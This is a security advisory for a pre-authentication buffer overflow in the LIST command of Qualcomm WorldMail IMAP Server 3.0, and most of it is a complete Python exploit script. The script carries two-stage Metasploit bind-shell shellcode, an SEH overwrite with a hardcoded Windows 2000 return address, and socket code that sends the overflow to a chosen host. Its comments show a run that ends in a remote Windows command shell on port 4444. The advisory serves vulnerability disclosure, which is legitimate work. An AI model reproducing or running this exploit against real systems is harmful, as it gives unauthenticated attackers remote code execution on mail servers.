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Qualcomm WorldMail IMAP Server LIST Buffer Overflow (Exploit)
------------------------------------------------------------------------
SUMMARY
<http://www.eudora.com/worldmail/> Qualcomm WorldMail is "an email and
messaging server designed for use in small to large enterprises that
supports IMAP, POP3, SMTP, and web mail features". A buffer overflow
vulnerability in Qualcomm WorldMail's handling of incoming LIST commands
allows remote attackers to cause the program to execute arbitrary code.
DETAILS
Vulnerable Systems:
* Qualcomm WorldMail version 3.0 (6.1.19.0)
Exploit:
#!/usr/bin/python
##########################################
#
# PRE AUTHENTICATION Eudora Qualcomm WorldMail 3.0 IMAPd Service 6.1.19.0
Overflow.
#
# Discovered by Tim Shelton - security-advisories@acs-inc.com
#
# Coded by mati@see-security.com
#
# Details:
# * SEH gets overwritten at 970 bytes in the LIST command.
# * No space for shellcode, so 1st stage shellcode is used to
# jump back 768 bytes into the bindshell (2nd stage) shellcode.
#
# Thanks:
# * My wife - for putting up with my obesssions
# FOR EDUCATION PURPOSES ONLY!
##########################################
# root@muts:/tmp# ./test.py 192.168.1.162
#
# Eudora Qualcomm WorldMail 3.0 IMAPd Service 6.1.19.0 Overflow.
#
# Discovered by Tim Shelton - security-advisories@acs-inc.com
# Coded by mati@see-security.com
#
# [+] Connecting
# [+] * OK WorldMail IMAP4 Server 6.1.19.0 ready
# [+] Look Maa - No authentication!
# [+] Sending evil buffer...
# [+] Done
#
# [+] Connect to port 4444 on victim IP - Muhahaha!
#
# root@muts:/tmp# nc -vn 192.168.1.162 4444
# (UNKNOWN) [192.168.1.162] 4444 (krb524) open
# Microsoft Windows 2000 [Version 5.00.2195]
# (C) Copyright 1985-2000 Microsoft Corp.
#
# C:\WINNT\system32>
#######################################
import sys
import struct
import socket
from time import sleep
def banner():
print "\nEudora Qualcomm WorldMail 3.0 IMAPd Service
6.1.19.0Overflow.\n"
print "Discovered by Tim Shelton -
security-advisories@acs-inc.com"
print "Coded by mati@see-security.com\n"
if len(sys.argv)!=3:
banner()
print "Usage: eudora-imap-LIST.py <ip> <port>\n"
sys.exit(0)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Using Msf::Encoder::PexFnstenvMov with final size of 42 bytes
# First Stage Shellcode
sc3 ="\x6a\x05\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x2f\x77\x28"
sc3 +="\x4b\x83\xeb\xfc\xe2\xf4\xf6\x99\xf1\x3f\x0b\x83\x71\xcb\xee\x7d"
sc3 +="\xb8\xb5\xe2\x89\xe5\xb5\xe2\x88\xc9\x4b"
# win32_bind - EXITFUNC=seh LPORT=4444 Size=709 Encoder=PexAlphaNum
http://metasploit.com */
# Second Stage Shellcode
sc4 ="\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
sc4 +="\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
sc4 +="\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
sc4 +="\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
sc4 +="\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x56\x4b\x4e"
sc4 +="\x4d\x54\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x56\x4b\x38"
sc4 +="\x4e\x36\x46\x32\x46\x52\x4b\x58\x45\x54\x4e\x53\x4b\x38\x4e\x37"
sc4 +="\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x34\x4a\x31\x4b\x48"
sc4 +="\x4f\x35\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x58"
sc4 +="\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x38\x42\x4c"
sc4 +="\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e"
sc4 +="\x46\x4f\x4b\x33\x46\x35\x46\x52\x4a\x32\x45\x37\x45\x4e\x4b\x48"
sc4 +="\x4f\x35\x46\x32\x41\x50\x4b\x4e\x48\x36\x4b\x38\x4e\x50\x4b\x34"
sc4 +="\x4b\x38\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x43\x30\x4e\x32\x4b\x38"
sc4 +="\x49\x48\x4e\x36\x46\x32\x4e\x41\x41\x36\x43\x4c\x41\x53\x4b\x4d"
sc4 +="\x46\x56\x4b\x58\x43\x54\x42\x53\x4b\x48\x42\x34\x4e\x50\x4b\x58"
sc4 +="\x42\x37\x4e\x41\x4d\x4a\x4b\x58\x42\x44\x4a\x30\x50\x55\x4a\x46"
sc4 +="\x50\x38\x50\x44\x50\x50\x4e\x4e\x42\x35\x4f\x4f\x48\x4d\x48\x56"
sc4 +="\x43\x55\x48\x56\x4a\x46\x43\x53\x44\x53\x4a\x56\x47\x37\x43\x57"
sc4 +="\x44\x43\x4f\x45\x46\x45\x4f\x4f\x42\x4d\x4a\x56\x4b\x4c\x4d\x4e"
sc4 +="\x4e\x4f\x4b\x43\x42\x35\x4f\x4f\x48\x4d\x4f\x45\x49\x38\x45\x4e"
sc4 +="\x48\x36\x41\x38\x4d\x4e\x4a\x30\x44\x50\x45\x55\x4c\x36\x44\x30"
sc4 +="\x4f\x4f\x42\x4d\x4a\x56\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x55"
sc4 +="\x4f\x4f\x48\x4d\x43\x55\x43\x45\x43\x45\x43\x45\x43\x45\x43\x44"
sc4 +="\x43\x45\x43\x44\x43\x55\x4f\x4f\x42\x4d\x48\x36\x4a\x56\x41\x31"
sc4 +="\x4e\x55\x48\x46\x43\x45\x49\x48\x41\x4e\x45\x49\x4a\x46\x46\x4a"
sc4 +="\x4c\x51\x42\x57\x47\x4c\x47\x35\x4f\x4f\x48\x4d\x4c\x36\x42\x31"
sc4 +="\x41\x35\x45\x45\x4f\x4f\x42\x4d\x4a\x36\x46\x4a\x4d\x4a\x50\x42"
sc4 +="\x49\x4e\x47\x45\x4f\x4f\x48\x4d\x43\x45\x45\x35\x4f\x4f\x42\x4d"
sc4 +="\x4a\x36\x45\x4e\x49\x54\x48\x48\x49\x54\x47\x55\x4f\x4f\x48\x4d"
sc4 +="\x42\x35\x46\x45\x46\x55\x45\x45\x4f\x4f\x42\x4d\x43\x49\x4a\x46"
sc4 +="\x47\x4e\x49\x37\x48\x4c\x49\x37\x47\x35\x4f\x4f\x48\x4d\x45\x55"
sc4 +="\x4f\x4f\x42\x4d\x48\x36\x4c\x56\x46\x36\x48\x46\x4a\x36\x43\x56"
sc4 +="\x4d\x56\x49\x58\x45\x4e\x4c\x56\x42\x45\x49\x35\x49\x32\x4e\x4c"
sc4 +="\x49\x38\x47\x4e\x4c\x36\x46\x54\x49\x38\x44\x4e\x41\x33\x42\x4c"
sc4 +="\x43\x4f\x4c\x4a\x50\x4f\x44\x44\x4d\x52\x50\x4f\x44\x34\x4e\x32"
sc4 +="\x43\x59\x4d\x58\x4c\x57\x4a\x53\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x36"
sc4 +="\x44\x57\x50\x4f\x43\x4b\x48\x51\x4f\x4f\x45\x57\x46\x44\x4f\x4f"
sc4 +="\x48\x4d\x4b\x55\x47\x55\x44\x55\x41\x55\x41\x45\x41\x35\x4c\x46"
sc4 +="\x41\x30\x41\x35\x41\x45\x45\x55\x41\x55\x4f\x4f\x42\x4d\x4a\x56"
sc4 +="\x4d\x4a\x49\x4d\x45\x30\x50\x4c\x43\x45\x4f\x4f\x48\x4d\x4c\x36"
sc4 +="\x4f\x4f\x4f\x4f\x47\x33\x4f\x4f\x42\x4d\x4b\x38\x47\x55\x4e\x4f"
sc4 +="\x43\x58\x46\x4c\x46\x36\x4f\x4f\x48\x4d\x44\x45\x4f\x4f\x42\x4d"
sc4 +="\x4a\x46\x42\x4f\x4c\x58\x46\x30\x4f\x35\x43\x35\x4f\x4f\x48\x4d"
sc4 +="\x4f\x4f\x42\x4d\x5a"
# Win2k SP4 JMP EBX - 0x77E1CCF7
buffer = '\x90'*61 + sc4+ "\xeb\x06\x06\xeb" + '\xf7\xcc\xe1\x77' +
'\x90'*8 + sc3 + '}'*400
banner()
try:
s.connect((sys.argv[1],int(sys.argv[2])))
except:
print "Can\'t connect to server!\n"
sys.exit(0)
print "[+] Connecting"
data=s.recv(1024)
print "[+] "+data.rstrip()
print "[+] Look Maa - No authentication!"
print "[+] Sending evil buffer..."
s.send('a001 LIST '+buffer+'\r\n')
s.close()
print "[+] Done\n"
print "[+] Connect to port 4444 on victim IP - Muhahaha!\n"
ADDITIONAL INFORMATION
The information has been provided by <mailto:mati@see-security.com> mati.
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